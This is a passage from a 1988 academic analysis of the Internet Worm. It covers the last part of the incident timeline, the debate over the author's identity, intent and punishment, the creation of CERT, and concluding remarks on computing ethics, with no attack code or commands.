2130 Group at Berkeley begins decompiling Worm into C code. (Seeley)

November 4, 1988

0050 Bill Sommerfield mails out description of fingerd attack. He also makes first comments
about the coding style of the Worm’s author. (mail)

0500 MIT group finishes code decompilation. (mail, NCSC)
0900 Berkeley group finishes code decompilation. (mail, NCSC, Seeley)
1100 Milnet-Arpanet mailbridges restored. (NCSC)
1420 Keith Bostic reposts fix to fingerd. (mail)
1536 Ted Ts’o of MIT posts clarification of how Worm operates. (mail)
1720 Keith Bostic posts final set of patches for sendmail and fingerd. Included is humorous set of

fixes to bugs in the decompiled Worm source code. (mail)
2130 John Markhoff of the New York Times tells me in a phone conversation that he has

identified the author of the Worm and confirmed it with at least two independent sources.
The next morning’s paper will identify the author as Robert T. Morris, son of the National
Computer Security Center’s chief scientist, Robert Morris.[18]

November 5, 1988

0147 Mailing is made to phage mailing list by Erik Fair of Apple claiming he had heard that
Robert Morse (sic) was the author of the Worm and that its release was an accident. (mail)
This news was relayed though various mail messages and appears to have originated with
John Markhoff.

1632 Andy Sudduth acknowledges authorship of anonymous warning to TCP-IP mailing list.
(mail)

By Tuesday, November 8, most machines had connected back to the Internet and traffic patterns
had returned to near normal. That morning, about 50 people from around the country met with officials
of the National Computer Security Center at a hastily convened ‘‘post-mortem’’ on the Worm. They
identify some likely future courses of action. [1]

Network traffic analyzers continued to record infection attempts from (apparently) Worm programs
still running on Internet machines. The last such instance occurred in the early part of December.*

5. Aftermath

In the weeks and months following the release of the Internet Worm, there have been a few topics
hotly debated in mailing lists, media coverage, and personal conversations. I view a few of these as par-
ticularly significant, and will present them here.

5.1. Author, Intent, and Punishment

Two of the first questions to be asked—even before the Worm was stopped—were simply the ques-
tions "Who?" and "Why?". Who had written the Worm, and why had he/she/they loosed it in the Inter-
net? The question of "Who?" was answered shortly thereafter when the New York Times identified
Robert T. Morris. Although he has not publicly admitted authorship, and no court of law has yet pro-
nounced guilt, there seems to be a large body of evidence to support such an identification. Various
333333333333333333

* Private communication, NCSC staff member.
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Federal officials† have told me that they have obtained statements from multiple individuals to whom Mr.
Morris spoke about the Worm and its development. They also claim to have records from Cornell
University computers showing early versions of the Worm code being tested on campus machines, and
they claim to have copies of the Worm code, found in Mr. Morris’s account. The report from the
Provost’s office at Cornell [11] also names Robert T. Morris as the culprit, and presents convincing rea-
sons for that conclusion.

Thus, the identity of the author appears well established, but his motive remains a mystery. Con-
jectures have ranged from an experiment gone awry to a subconscious act of revenge against his father.
All of this is sheer speculation, however, since no statement has been forthcoming from Mr. Morris. All
we have to work with is the decompiled code for the program and our understanding of its effects. It is
impossible to intuit the real motive from those or from various individuals’ experiences with the author.
We must await a definitive statement by the author to answer the question ‘‘Why?’’. Considering the
potential legal consequences, both criminal and civil, a definitive statement from Mr. Morris may be some
time in coming, if it ever does.

Two things have been noted by many people who have read the decompiled code, however (this
author included). First, the Worm program contained no code that would explicitly cause damage to any
system on which it ran. Considering the ability and knowledge evidenced by the code, it would have
been a simple matter for the author to have included such commands if that was his intent. Unless the
Worm was released prematurely, it appears that the author’s intent did not involve explicit, immediate
destruction or damage of any data or systems.

The second feature of note was that the code had no mechanism to halt the spread of the Worm.
Once started, the Worm would propagate while also taking steps to avoid identification and ‘‘capture.’’
Due to this and the complex argument string necessary to start it, individuals who have examined the
code (this author included) believe it unlikely that the Worm was started by accident or was intended not
to propagate widely.

In light of our lack of definitive information, it is puzzling to note attempts to defend Mr. Morris
by claiming that his intent was to demonstrate something about Internet security, or that he was trying a
harmless experiment. Even the current president of the ACM implied that it was just a ‘‘prank’’ in [17].
It is curious that this many people, journalists and computer professionals alike, would assume to know
the intent of the author based on the observed behavior of the program. As Rick Adams of the Center for
Seismic Studies observed in a posting to the Usenet, we may someday hear that the Worm was actually
written to impress Jodie Foster—we simply do not know the real reason.

The Provost’s report from Cornell, however, does not attempt to excuse Mr. Morris’s behavior. It
quite clearly labels the actions as unethical and contrary to the standards of the computer profession.
They very clearly state that his actions were against university policy and accepted practice, and that
based on his past experience he should have known it was wrong to act as he did.

Coupled with the tendency to assume motive, we have observed different opinions on the punish-
ment, if any, to mete out to the author. One oft-expressed opinion, especially by those individuals who
believe the Worm release to be an accident or an unfortunate experiment, is that the author should not be
punished. Some have gone so far as to say that the author should be rewarded and the vendors and
operators of the affected machines should be the ones punished, this on the theory that they were sloppy
about their security and somehow invited the abuse! The other extreme school of thought holds that the
author should be severely punished, including at least a term in a Federal penitentiary. One somewhat
humorous example of this was espoused by Mike Royko [23].

The Cornell commission recommended some punishment, but not punishment so severe that Mr.
Morris’s future career in computing would be jepordized. Consistent with that recommendation, Robert
has been suspended from the University for a minimum of one year; the faculty of the computer science
department there will have to approve readmission should he apply for it.

333333333333333333
† Personal conversations, anonymous by request.
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As has been observed in both [16]  and [8], it would not serve us well to overreact to this particular
incident; less than 5% of the machines on an insecure network were affected for less than a few days.
However, neither should we dismiss it as something of no consequence. That no damage was done may
possibly have been an accident, and it is possible that the author intended for the program to clog the
Internet as it did (comments in his code, as reported in the Cornell report, suggested even more sinister
possibilities). Furthermore, we should be careful of setting a dangerous precedent for future occurrences
of such behavior. Excusing acts of computer vandalism simply because their authors claim there was no
intent to cause damage will do little to discourage repeat offenses, and may encourage new incidents.

The claim that the victims of the Worm were somehow responsible for the invasion of their
machines is also curious. The individuals making this claim seem to be stating that there is some moral
or legal obligation for computer users to track and install every conceivable security fix and mechanism
available. This totally ignores the many sites that run turn-key systems without source code or adminis-
trators knowledgeable enough to modify their systems. Those sites may also be running specialized
software or have restricted budgets that prevent them from installing new software versions. Many com-
mercial and government sites operate their systems this way. To attempt to blame these individuals for
the success of the Worm is equivalent to blaming an arson victim for the fire because she didn’t build her
house of fireproof metal. (More on this theme can be found in [27].)

The matter of appropriate punishment will likely be decided by a Federal judge. A grand jury in
Syracuse, NY has been hearing testimony on the matter. A Federal indictment under the United States
Code, Title 18 § 1030 (the Computer Fraud and Abuse statute), parts (a)(3) or (a)(5) might be returned. §
(a)(5), in particular, is of interest. That part of the statute makes it a felony if an individual ‘‘intention-
ally accesses a Federal interest computer without authorization, and by means of one or more instances of
such conduct alters, damages, or destroys information ..., or prevents authorized use of any such com-
puter or information and thereby causes loss to one or more others of a value aggregating $1,000 or
more during any one year period;’’ (emphasis mine). The penalty if convicted under section (a)(5) may
include a fine and a five year prison term. State and civil suits might also be brought in this case.

5.2. Worm Hunters

A significant conclusions reached at the NCSC post-mortem workshop was that the reason the
Worm was stopped so quickly was due almost solely to the UNIX ‘‘old-boy’’ network, and not because of
any formal mechanism in place at the time. [1] A general recommendation from that workshop was that a
formal crisis center be established to deal with future incidents and to provide a formal point of contact
for individuals wishing to report problems. No such center was established at that time.

On November 29, someone exploiting a security flaw present in older versions of the FTP file
transfer program broke into a machine on the MILnet. The intruder was traced to a machine on the
Arpanet, and to prevent further access the MILnet/Arpanet links were immediately severed. During the
next 48 hours there was considerable confusion and rumor about the disconnection, fueled in part by the
Defense Communication Agency’s attempt to explain the disconnection as a ‘‘test’’ rather than as a secu-
rity problem.

This event, coming as close as it did to the Worm incident, prompted DARPA to establish the
CERT—the Computer Emergency Response Team—at the Software Engineering Institute at Carnegie-
Mellon University.* The purpose of the CERT is to act as a central switchboard and coordinator for com-
puter security emergencies on Arpanet and MILnet computers. The Center has asked for volunteers from
Federal agencies and funded laboratories to serve as technical advisors when needed.[2]

Of interest here is that the CERT is not chartered to deal with just any Internet emergency. Thus,
problems detected in the CSnet, Bitnet, NSFnet, and other Internet communities may not be referable to
the CERT. I was told it is the hope of CERT personnel that these other networks will develop their own
CERT-like groups. This, of course, may make it difficult to coordinate effective action and communica-
tion during the next threat. It may even introduce rivalry in the development and dissemination of critical
information. The effectiveness of this organization against the next Internet-wide crisis will be interesting
333333333333333333

* Personal communication, M. Poepping of the CERT.
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to note.

6. Concluding Remarks

Not all the consequences of the Internet Worm incident are yet known; they may never be. Most
likely there will be changes in security consciousness for at least a short while. There may also be new
laws, and new regulations from the agencies governing access to the Internet. Vendors may change the
way they test and market their products—and not all the possible changes may be advantageous to the
end-user (e.g., removing the machine/host equivalence feature for remote execution). Users’ interactions
with their systems may change based on a heightened awareness of security risks. It is also possible that
no significant change will occur anywhere. The final benefit or harm of the incident will only become
clear with the passage of time.

It is important to note that the nature of both the Internet and UNIX helped to defeat the Worm as
well as spread it. The immediacy of communication, the ability to copy source and binary files from
machine to machine, and the widespread availability of both source and expertise allowed personnel
throughout the country to work together to solve the infection, even despite the widespread disconnection
of parts of the network. Although the immediate reaction of some people might be to restrict communica-
tion or promote a diversity of incompatible software options to prevent a recurrence of a Worm, that
would be an inappropriate reaction. Increasing the obstacles to open communication or decreasing the
number of people with access to in-depth information will not prevent a determined attacker—it will only
decrease the pool of expertise and resources available to fight such an attack. Further, such an attitude
would be contrary to the whole purpose of having an open, research-oriented network. The Worm was
caused by a breakdown of ethics as well as lapses in security—a purely technological attempt at preven-
tion will not address the full problem, and may just cause new difficulties.

What we learn from this about securing our systems will help determine if this is the only such
incident we ever need to analyze. This attack should also point out that we need a better mechanism in
place to coordinate information about security flaws and attacks. The response to this incident was
largely ad hoc, and resulted in both duplication of effort and a failure to disseminate valuable information
to sites that needed it. Many site administrators discovered the problem from reading the newspaper or
watching the television. The major sources of information for many of the sites affected seems to have
been Usenet news groups and a mailing list I put together when the Worm was first discovered.
Although useful, these methods did not ensure timely, widespread dissemination of useful information —
especially since many of them depended on the Internet to work! Over three weeks after this incident
some sites were still not reconnected to the Internet because of doubts about the security of their systems.
The Worm has shown us that we are all affected by events in our shared environment, and we need to
develop better information methods outside the network before the next crisis. The formation of the
CERT may be a step in the right direction, but a more general solution is still needed.

Finally, this whole episode should cause us to think about the ethics and laws concerning access to
computers. Since the technology we use has developed so quickly, it is not always simple to determine
where the proper boundaries of moral action may be. Some senior computer professionals may have
started their careers years ago by breaking into computer systems at their colleges and places of employ-
ment to demonstrate their expertise and knowledge of the inner workings of the systems. However, times
have changed and mastery of computer science and computer engineering now involves a great deal more
than can be shown by using intimate knowledge of the flaws in a particular operating system. Whether
such actions were appropriate fifteen years ago is, in some senses, unimportant. I believe it is critical to
realize that such behavior is clearly inappropriate now. Entire businesses are now dependent, wisely or
not, on computer systems. People’s money, careers, and possibly even their lives may be dependent on
the undisturbed functioning of computers. As a society, we cannot afford the consequences of condoning
or encouraging reckless or ill-considered behavior that threatens or damages computer systems, especially
by individuals who do not understand the consequences of their actions. As professionals, computer
scientists and computer engineers cannot afford to tolerate the romanticization of computer vandals and
computer criminals, and we must take the lead by setting proper examples. Let us hope there are no
further incidents to underscore this particular lesson.
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